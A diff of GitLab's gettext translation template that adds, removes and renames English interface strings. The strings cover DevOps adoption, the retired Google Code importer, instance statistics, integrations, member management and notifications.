@@ -9319,6 +9571,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9397,15 +9652,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9415,15 +9664,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9613,9 +9931,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9688,9 +10003,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9739,9 +10051,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9847,6 +10165,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9922,6 +10243,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9952,6 +10276,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -10024,7 +10351,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -10042,6 +10369,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10393,6 +10723,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10504,6 +10837,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10741,9 +11077,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10780,6 +11113,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10858,6 +11194,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -11092,6 +11431,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11200,6 +11542,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11335,6 +11680,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11374,6 +11722,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11413,12 +11764,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11587,6 +11944,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11611,9 +11971,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11674,6 +12031,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11716,7 +12076,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11842,12 +12202,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11872,9 +12226,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11920,9 +12271,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -12007,6 +12355,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -12034,9 +12385,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12523,6 +12871,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12556,6 +12907,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12766,15 +13120,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12889,12 +13240,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13129,6 +13474,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13522,12 +13873,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13603,6 +13948,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13756,9 +14104,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13900,6 +14245,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13978,12 +14326,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -14035,9 +14377,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -14068,6 +14407,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -14101,6 +14443,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14131,9 +14476,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14311,9 +14653,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14398,9 +14737,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14425,73 +14761,79 @@ msgstr[2] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14530,6 +14872,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14563,7 +14908,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14581,6 +14935,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14602,6 +14959,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14677,6 +15037,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14719,6 +15082,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14743,6 +15109,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14788,6 +15157,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14797,16 +15169,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14914,9 +15286,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14980,6 +15349,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -15115,10 +15487,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15295,6 +15667,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15424,6 +15817,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15607,9 +16003,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15703,6 +16096,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15730,9 +16126,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15763,9 +16156,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15829,9 +16219,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15877,18 +16264,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15904,9 +16282,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -16012,6 +16387,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -16033,6 +16411,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16237,9 +16618,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16300,16 +16678,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16372,7 +16744,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16384,7 +16756,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16432,6 +16804,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16456,9 +16831,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16615,7 +16987,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16651,9 +17026,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16663,12 +17047,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16687,6 +17080,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16738,6 +17134,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16789,6 +17188,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17347,6 +17749,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17452,6 +17857,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17485,12 +17893,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17548,7 +17950,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17644,6 +18046,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17773,6 +18178,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17806,6 +18214,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -18031,7 +18442,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18184,6 +18595,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18289,9 +18703,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18475,9 +18886,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18514,6 +18922,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18532,6 +18943,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18544,6 +18958,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18583,6 +19000,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18619,9 +19039,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18637,6 +19063,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18646,6 +19075,9 @@ msgstr ""
